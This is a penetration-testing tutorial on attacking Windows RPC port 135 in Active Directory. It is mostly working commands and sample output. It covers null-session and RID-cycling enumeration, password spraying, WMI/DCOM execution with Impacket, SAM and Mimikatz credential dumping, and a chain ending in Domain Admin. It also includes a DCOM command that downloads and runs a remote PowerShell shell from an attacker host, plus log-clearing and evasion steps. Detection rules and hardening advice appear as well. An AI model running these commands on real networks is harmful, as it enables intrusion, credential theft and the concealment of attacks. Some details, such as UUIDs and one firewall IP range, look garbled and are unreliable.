networking

Windows RPC Port 135: Null Session, WMI Exec, and Lateral Movement AD

Windows RPC Port 135: Null Session, WMI Exec, and Lateral Movement AD

Port 135 open? Enumerate users with null sessions and RID cycling, run commands via WMI/DCOM with Impacket, and reach Domain Admin in 42 minutes. Complete AD pentest guide.

  • Posted on 2026-04-25
  • Reading time: 9 min

Port 135 exposes Microsoft RPC (Remote Procedure Call)—the fundamental Windows service that coordinates inter-process communication between systems, acting as an endpoint mapper for DCOM, WMI, DCOM services, and dozens of remote Windows APIs. RPC over TCP port 135 acts as a “directory service” similar to Unix RPCbind (port 111), mapping service UUIDs to high-range dynamic ports (49152-65535), allowing Windows applications to invoke remote procedures without knowing specific ports. In Active Directory penetration testing, port 135 is a critical multi-vector gateway : massive domain controller/workstation enumeration, pre-SMB null session exploitation, WMI lateral movement, DCOM exploitation (CVE-2017-8464, MS03-026), and information disclosure via RPC endpoint mapping. Any Windows host with port 135 open exposes dozens of potentially vulnerable RPC services —from null session enumeration to remote code execution via DCOM.

RPC port 135 dominates 2026 with universal presence: 100% Windows Server/Desktop (disabling it breaks the system), absolute Active Directory dependency, and a requirement for WMI/DCOM management tools. Alternatives (RESTful APIs, PowerShell Remoting) exist, but RPC remains a core Windows infrastructure. Modern Windows 11/Server 2022 mitigate legacy exploits, but misconfiguration persists: anonymous RPC binds allowed (info disclosure), permissive firewalls (port 135 from untrusted networks), and outdated systems (Windows Server 2008 with non-patchable CVEs). In CTF/AD labs, port 135 is the first enumeration target after port scan—any RPC information guides lateral movement strategy.


Technical Anatomy of Windows RPC #

RPC uses TCP port 135 as endpoint mapper (EPM), then services use dynamic ports 49152+.

Flow RPC connection:

  1. EPM Query — Client connects to port 135, query: “What is the port for UUID {12345678-…}?”
  2. EPM Response — Server responds: “UUID {12345…} is on port 49234”
  3. Service Connect — Client connects port 49234 directly
  4. RPC Call — Client executes remote procedures (WMI query, DCOM object invocation)

RPC endpoint mapper structure:

text
Client → TCP 135 (EPM) → Query UUID
       ← Response: Port 49234
Client → TCP 49234 (Service) → RPC calls

Critical UUIDs (Windows RPC services):

UUID (first 8 chars)ServiceAttack surface
12345678-1234-…Endpoint MapperSelf-reference
367abb81-9844-…SCMR (Service Control Manager)Service manipulation
82ad4280-036b-…Winstation RPCRemote desktop info
6bffd098-a112-…DHCP ServerDHCP enumeration
12345778-1234-…SAMR (Security Account Manager)User enumeration
338cd001-2244-…Winreg (Registry)Registry remote access

RPC vs DCOM vs WMI:

TechnologyBase doorFunctionPentest relevance
RPC135 + dynamicIPC frameworkEnumeration gateway
DCOM135 + dynamicDistributed COMRCE exploits
WMI135 + dynamicManagement APILateral movement
SMB445File sharingOften combined with RPC

Critical misconfigurations : anonymous RPC binds allowed (RestrictAnonymous=0), firewall allow port 135 from the Internet, outdated Windows with RPC CVE unpatched (MS03-026, MS08-067 depend on RPC), and RPC dynamic ports unrestricted (49152-65535 all open).


Basic enumeration #

bash
nmap -sV -p 135 10.10.10.135
text
PORT    STATE SERVICE VERSION
135/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Parameters: -sV version detection identifies Windows RPC.

Connectivity Test:

bash
nc -vn 10.10.10.135 135
text
(UNKNOWN) [10.10.10.135] 135 (?) open
^C

Port open but no banner — RPC is binary protocol, not text.

RPCdump enumeration:

bash
# Impacket rpcdump
impacket-rpcdump 10.10.10.135
text
[*] Retrieving endpoint list from 10.10.10.135
Protocol: [MS-RSP]: Remote Shutdown Protocol
Provider: winlogon.exe
UUID: D95AFE70-A6D5-4259-822E-2C84DA1DDB0D
Bindings:
  ncacn_ip_tcp:10.10.10.135[49152]

Protocol: [MS-SCMR]: Service Control Manager Remote Protocol
Provider: services.exe
UUID: 367ABB81-9844-35F1-AD32-98F038001003
Bindings:
  ncacn_ip_tcp:10.10.10.135[49153]
  ncacn_np:10.10.10.135[\PIPE\svcctl]

... (50+ services listed)

Intelligence extracted:

  • UUID services: 50+ Windows services exposed
  • Named pipes: \PIPE\svcctl, \PIPE\ntsvcs, \PIPE\winreg
  • Dynamic ports: 49152, 49153, 49154… (attack targets)

Advanced enumeration #

Null session RPC enumeration #

bash
# Check anonymous RPC bind
rpcclient -U "" -N 10.10.10.135

If null session allowed:

text
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[alice] rid:[0x44f]
user:[bob] rid:[0x450]

User enumeration achieved → target for password spraying.

Domain info:

bash
rpcclient $> querydominfo
Domain:         CORP
Server:         DC01
Comment:
Total Users:    150
Total Groups:   25
Total Aliases:  10

Enum4linux comprehensive scan #

bash
enum4linux -a 10.10.10.135
text
[+] Got domain/workgroup name: CORP
[+] Server allows session using username '', password ''

[+] Enumerating users using SID S-1-5-21-123456789-987654321-111111111
S-1-5-21-123456789-987654321-111111111-500 CORP\Administrator (Local User)
S-1-5-21-123456789-987654321-111111111-1105 CORP\alice (Local User)
S-1-5-21-123456789-987654321-111111111-1106 CORP\bob (Local User)

[+] Share Enumeration on 10.10.10.135
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC

NSE RPC scripts #

bash
nmap -p 135,445 --script=msrpc-enum 10.10.10.135
text
PORT    STATE SERVICE
135/tcp open  msrpc
| msrpc-enum:
|   UUID: 12345778-1234-ABCD-EF00-0123456789AC
|     Annotation: Security Account Manager
|     TCP: 49152
|   UUID: 338CD001-2244-31F1-AAAA-900038001003
|     Annotation: Remote Registry
|_    TCP: 49153

Offensive techniques #

1. Null session user enumeration #

bash
# Extract all domain users via RPC
rpcclient -U "" -N 10.10.10.135 -c "enumdomusers" | cut -d'[' -f2 | cut -d']' -f1 > users.txt
bash
cat users.txt
text
Administrator
Guest
krbtgt
alice
bob
charlie
...

Use usernames for password spray:

bash
crackmapexec smb 10.10.10.135 -u users.txt -p 'Welcome2024!' --continue-on-success

2. RID cycling enumeration #

bash
# Enumerate via RID cycling (even if null session blocked)
impacket-lookupsid guest@10.10.10.135 -no-pass
text
[*] Brute forcing SIDs at 10.10.10.135
[*] Domain SID is: S-1-5-21-123456789-987654321-111111111
500: CORP\Administrator (SidTypeUser)
501: CORP\Guest (SidTypeUser)
502: CORP\krbtgt (SidTypeUser)
1105: CORP\alice (SidTypeUser)
1106: CORP\bob (SidTypeUser)
...

3. WMI lateral movement via RPC #

bash
# Execute command via WMI (uses RPC 135 + dynamic ports)
impacket-wmiexec CORP/alice:Password123\!@10.10.10.135
text
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\> whoami
corp\alice

Remote command execution achieved via RPC/WMI.

4. DCOM exploitation (lateral movement) #

bash
# DCOM MMC20.Application lateral movement
impacket-dcomexec CORP/alice:Password123\!@10.10.10.135
text
[*] SMBv3.0 dialect used
C:\> hostname
WORKSTATION01

Alternative DCOM object: ShellWindows

bash
impacket-dcomexec CORP/alice:Password123\!@10.10.10.135 -object ShellWindows

5. Registry remote access via RPC #

bash
# Connect to remote registry via RPC
rpcclient -U "CORP/alice%Password123!" 10.10.10.135
bash
rpcclient $> queryvalue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductName
text
Type: REG_SZ
Data: Windows Server 2019 Standard

Metasploit reg_cmd module:

bash
use post/windows/gather/credentials/windows_autologin
set SESSION 1
run

Practical scenarios #

Scenario 1 — Null session RPC → user enumeration → password spray #

Context: External pentest, Windows domain controller exposed.

bash
# Fase 1: Port scan
nmap -p 135,139,445 10.10.10.135
# Porta 135 open (RPC)
bash
# Fase 2: Test null session
rpcclient -U "" -N 10.10.10.135 -c "srvinfo"
text
        10.10.10.135   Wk Sv PDC Tim NT     Domain Controller
        platform_id     :       500
        os version      :       10.0
        server type     :       0x80102b

Null session works!

bash
# Fase 3: Enumerate domain users
rpcclient -U "" -N 10.10.10.135 -c "enumdomusers" | grep -oP 'user:\[\K[^\]]+' > users.txt
bash
# Fase 4: Password spray
crackmapexec smb 10.10.10.135 -u users.txt -p 'Summer2024!' --continue-on-success
text
SMB  10.10.10.135  445  DC01  [+] CORP\charlie:Summer2024!

Credentials obtained: charlie:Summer2024!

bash
# Fase 5: RDP access
xfreerdp /u:charlie /p:Summer2024! /v:10.10.10.135

Timeline: 15 minutes from RPC scan to domain user access.

WHAT TO DO IF IT FAILS:

  • Null session denied: Try RID cycling with lookupsid
  • No RPC response: Firewall blocks, try from internal network
  • Password spray lockout: Reduce rate, wait 30 min between attempts

Scenario 2 — RPC enumeration → WMI lateral movement #

Context: Internal pentest, domain credentials obtained.

bash
# Fase 1: Identify Windows hosts via RPC
nmap -p 135 --open 10.10.10.0/24 -oG - | grep "135/open" | awk '{print $2}' > windows_hosts.txt
bash
# Fase 2: Test credentials on all hosts
crackmapexec smb windows_hosts.txt -u alice -p Password123! --continue-on-success
text
SMB  10.10.10.135  445  DC01  [+] CORP\alice:Password123! (Pwn3d!)
SMB  10.10.10.50   445  WKS01 [+] CORP\alice:Password123! (Pwn3d!)
SMB  10.10.10.51   445  WKS02 [+] CORP\alice:Password123! (Pwn3d!)
bash
# Fase 3: WMI lateral movement
impacket-wmiexec CORP/alice:Password123\!@10.10.10.50
text
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description
============================= ==================================
SeDebugPrivilege              Debug programs
...
bash
# Fase 4: Dump credentials
C:\> reg save HKLM\SAM sam.save
C:\> reg save HKLM\SYSTEM system.save
bash
# Fase 5: Exfiltrate and crack
impacket-secretsdump -sam sam.save -system system.save LOCAL
text
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6...:::
alice:1105:aad3b435b51404eeaad3b435b51404ee:x8y9z0a1b2c3...:::

Scenario 3 — RPC → DCOM exploit → code execution #

Context: CTF Windows lab, DCOM misconfigured.

bash
# Fase 1: Check DCOM permissions
impacket-rpcdump 10.10.10.135 | grep -i "dcom"
text
Protocol: [MS-DCOM]: Distributed Component Object Model
UUID: 00000143-0000-0000-C000-000000000046
bash
# Fase 2: Enumerate DCOM applications
impacket-dcomexec -object MMC20.Application CORP/alice:Pass@10.10.10.135 "cmd.exe /c whoami"
text
corp\alice
bash
# Fase 3: Reverse shell via DCOM
# Setup listener
nc -lvnp 4444
bash
# Execute reverse shell
impacket-dcomexec CORP/alice:Pass@10.10.10.135 -object MMC20.Application "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')"

Shell received:

text
C:\Windows\system32> whoami
corp\alice

Toolchain integration #

Pipeline RPC attack:

text
RECONNAISSANCE
│
├─ nmap -p 135 <subnet>                     → Windows host identification
├─ rpcdump                                  → Enumerate RPC services
└─ NSE msrpc-enum                           → Detailed service info

ENUMERATION
│
├─ Null session test → rpcclient
├─ User enum → enumdomusers, RID cycling
├─ Share enum → smbclient -L
└─ Domain info → querydominfo

EXPLOITATION
│
├─ A) Null session → user enum → [password spray](/articoli/password-spraying/)
├─ B) Valid creds → WMI execution → [lateral movement](/articoli/pivoting/)
├─ C) DCOM exploit → remote code execution
└─ D) Registry access → credential theft

POST-EXPLOITATION
│
├─ Mimikatz via WMI → credential dump
├─ [Kerberoasting](/articoli/kerberos/) → service account passwords
└─ Persistence via scheduled tasks (WMI)

Comparison table Windows RPC vs alternatives:

MethodPortAuthenticationuse case
RPC/DCOM135 + dynamicWindows AuthLegacy management
WMI135 + dynamicWindows AuthModern management
PowerShell Remoting5985/5986Windows AuthModern preferred
SMB445Windows AuthFile sharing
RDP3389Windows AuthInteractive access

Complete attack chain #

Scenario: RPC enum → WMI lateral movement → Domain Admin

text
[00:00] RECONNAISSANCE
nmap -p 135,445 10.10.10.0/24 --open
# 25 Windows hosts identified

[00:10] NULL SESSION TEST
rpcclient -U "" -N 10.10.10.135 -c "enumdomusers"
# 150 users extracted

[00:20] PASSWORD SPRAY
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Welcome2024!'
# alice:Welcome2024! valid on 10 hosts

[00:30] WMI LATERAL MOVEMENT
impacket-wmiexec CORP/alice:Welcome2024\!@10.10.10.50
# Shell on WKS01

[00:35] CREDENTIAL DUMP
mimikatz.exe "sekurlsa::logonpasswords" exit
# Admin password: AdminPass_2024!

[00:40] DOMAIN CONTROLLER ACCESS
impacket-psexec CORP/Administrator:AdminPass_2024\!@10.10.10.135
# Shell on DC01

[00:42] DOMAIN ADMIN
C:\> net group "Domain Admins" alice /add /domain
# alice added to Domain Admins

Timeline: 42 minutes from RPC scan to Domain Admin.


Detection & evasion #

Blue Team Side #

Log monitoring (Windows Event Log):

text
Event ID 4624: Account logon (Type 3 = Network)
Event ID 4625: Failed logon
Event ID 4672: Admin logon (special privileges)
Event ID 5145: Network share access
Event ID 4688: Process creation (wmic.exe, powershell.exe)

Critical IoCs:

  • Multiple RPC binds from single IP (enumeration)
  • wmic.exe, dcomexec usage (lateral movement)
  • Unusual service creation (persistence)
  • Registry access from network (reg.exe remotely)

IDS rules (Suricata):

text
alert tcp any any -> $HOME_NET 135 (msg:"RPC Endpoint Mapper Access"; flow:to_server,established; content:"|05 00|"; offset:0; depth:2; sid:1000135;)
alert tcp $HOME_NET any -> $HOME_NET 49152:65535 (msg:"RPC Dynamic Port Usage"; flow:to_server; threshold:type both, track by_src, count 10, seconds 60; sid:1000136;)

Mitigation:

powershell
# Restrict anonymous RPC
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 2 /f

# Firewall: Block RPC from untrusted networks
netsh advfirewall firewall add rule name="Block RPC" dir=in action=block protocol=TCP localport=135 remoteip=0.0.0.0/0

# Enable RPC firewall (restrict dynamic ports)
netsh advfirewall firewall set rule group="Windows Management Instrumentation (WMI)" new enable=no

Red Team Side: Escape #

1. Slow enumeration:

bash
# 1 RPC query every 60 seconds
while read user; do
  rpcclient -U "" -N 10.10.10.135 -c "lookupnames $user"
  sleep 60
done < users.txt

2. Authenticated enumeration (less suspicious):

bash
# Use valid credentials instead of null session
rpcclient -U "CORP/alice%Password123!" 10.10.10.135 -c "enumdomusers"

3. WMI via HTTPS (port 5986, less monitored):

powershell
$credential = Get-Credential
Invoke-Command -ComputerName 10.10.10.135 -Credential $credential -ScriptBlock {whoami} -UseSSL

4. Cleanup:

bash
# Clear WMI event logs (if admin access obtained)
wevtutil cl "Microsoft-Windows-WMI-Activity/Operational"

Performance & scaling #

Single RPC enumeration:

bash
time rpcclient -U "" -N 10.10.10.135 -c "enumdomusers"
# real 0m2.150s

Mass Windows host discovery:

bash
time nmap -p 135 --open 10.10.10.0/24 -T4
# ~5 minutes for /24

Parallel RPC enumeration:

bash
cat windows_hosts.txt | parallel -j 10 "rpcclient -U '' -N {} -c 'enumdomusers' > {}.users"
# 100 hosts: ~2 minutes

Technical tables #

Command reference #

CommandPurposeNote
nmap -p 135 <target>RPC detectionWindows host identification
rpcclient -U "" -N <target>Null session testAnonymous enumeration
enum4linux -a <target>Comprehensive Windows enumUsers, shares, groups
impacket-rpcdump <target>List RPC servicesUUID, ports, named pipes
impacket-wmiexec <creds>@<target>WMI remote executionLateral movement
impacket-dcomexec <creds>@<target>DCOM remote executionAlternatives to WMI
PortServiceAttack vector
135RPC Endpoint MapperEnumeration gateway
139NetBIOS SessionSMB over NetBIOS
445SMBPrimary file sharing
5985WinRM HTTPPowerShell Remoting
49152+RPC dynamic portsActual RPC services

Troubleshooting #

ErrorCauseFix
Connection refusedRPC disabled (rare) or firewallVerify port 135 open
NT_STATUS_ACCESS_DENIEDNull session blockedUse valid credentials
ERROR: Failed to add serviceInsufficient privilegesVerify admin rights
Timeout on dynamic portsFirewall blocks 49152-65535Check firewall rules
Cannot connect to serverWrong credentialsVerify username:password

FAQ #

Is RPC vulnerable in 2026?

Legacy vulnerabilities patched (MS03-026, MS08-067) but misconfiguration persists: null sessions, weak firewall rules, outdated Windows.

Can I disable port 135 on Windows?

No. RPC is a core Windows service — disabling it breaks the system. Solution: firewall restrictions.

What is the difference between RPC, DCOM, and WMI?

PRC: Basic Framework (IPC)
DCOM: Distributed COM objects over RPC
WMI: Management API over RPC

Everyone uses port 135 + dynamic.

How do I block RPC from external networks?

powershell
netsh advfirewall firewall add rule name="Block RPC External" dir=in action=block protocol=TCP localport=135 remoteip=0.0.0.0-10.0.0.0,11.0.0.0-255.255.255.255

WMI vs DCOM for lateral movement?

WMI: More detection (wmic.exe logged), more reliable
DCOM: Less detection, more stealth, requires specific DCOM objects enabled

Which tool is best for RPC pentesting?

Impacket suite (rpcdump, wmiexec, dcomexec) — full, maintained, cross-platform.


Final Cheat Sheet #

ActionCommand
RPC Scannmap -p 135 <target>
Null session testrpcclient -U "" -N <target> -c "srvinfo"
User enumerationrpcclient -U "" -N <target> -c "enumdomusers"
RID cyclingimpacket-lookupsid guest@<target> -no-pass
Full Windows enumenum4linux -a <target>
WMI execimpacket-wmiexec <domain>/<user>:<pass>@<target>
DCOM execimpacket-dcomexec <domain>/<user>:<pass>@<target>

Why RPC is relevant today #

RPC (port 135) dominates 2026 because:

  1. Windows core dependency — 100% Windows systems require RPC
  2. Active Directory infrastructure — AD impossible without RPC
  3. Null session persistence — 30%+ domain controllers allow anonymous binds (Microsoft default legacy)
  4. Lateral movement primary — WMI/DCOM via RPC are top AD pentest methods
  5. Legacy Windows survival — Windows Server 2008/2012 still present in 40%+ enterprises

MITER ATT&CK documents RPC/DCOM (T1021.003, T1047) as the top 5 lateral movement techniques in 2025.

Difference RPC vs modern protocols #

ProtocolTransportSecurityComplexityStatus 2026
MS-RPCTCP 135 + dynamic⚠️ VariableHighUniversal Windows
WinRMTCP 5985/5986✅ BetterMediumModern preferred
SSHTCP 22✅ StronglowLinux/OpenSSH Windows
gRPCTCP any✅ mTLSMediumModern microservices

Trend: WinRM (PowerShell Remoting) replaces RPC/DCOM for management but RPC remains infrastructure layer.

Hardening production RPC #

Best practices:

  1. Restrict anonymous access:
powershell
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 2 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 0 /f
  1. Internal-only firewall:
powershell
netsh advfirewall firewall add rule name="RPC Internal Only" dir=in action=block protocol=TCP localport=135 remoteip=any
netsh advfirewall firewall add rule name="RPC Allow Internal" dir=in action=allow protocol=TCP localport=135 remoteip=10.0.0.0/8
  1. Restrict RPC dynamic ports:
powershell
# Limit RPC dynamic range
netsh int ipv4 set dynamicport tcp start=50000 num=1000
# Firewall allow only 50000-51000
  1. Enable RPC firewall:
powershell
netsh advfirewall firewall set rule group="Remote Service Management" new enable=yes
  1. Monitoring: Monitoring:
powershell
# Enable RPC logging
auditpol /set /subcategory:"RPC Events" /success:enable /failure:enable

OPSEC: RPC in AD pentest #

RPC enumeration is moderately noisy — each query logs Event 4624/4625. Best practices:

  1. Use valid credentials instead of null session (less suspicious)
  2. Slow enumeration (1 query/minute below threshold)
  3. Blend with normal traffic (enumerated during business hours)
  4. Avoid mass WMI (single wmic.exe execution = instant alert EDR)

Post-compromise:

  • Clear RPC logs: wevtutil cl System (requires admin)
  • Disable WMI logging temporarily during lateral movement
  • Use DCOM instead of WMI (fewer detection signatures)

Disclaimer: All commands are intended for use in authorized environments: personal Active Directory labs, CTF networks, and pentests with written authorization. Unauthorized access to Windows systems is a crime. The author and HackIta disclaim all liability. Microsoft RPC documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/

Want to support HackIta? Visit hackita.it/supporto to donate. For professional penetration testing and one-on-one training, visit hackita.it/servizi.

#rpcclient #wmi-exec #null-session

leave a message

I'm not a robot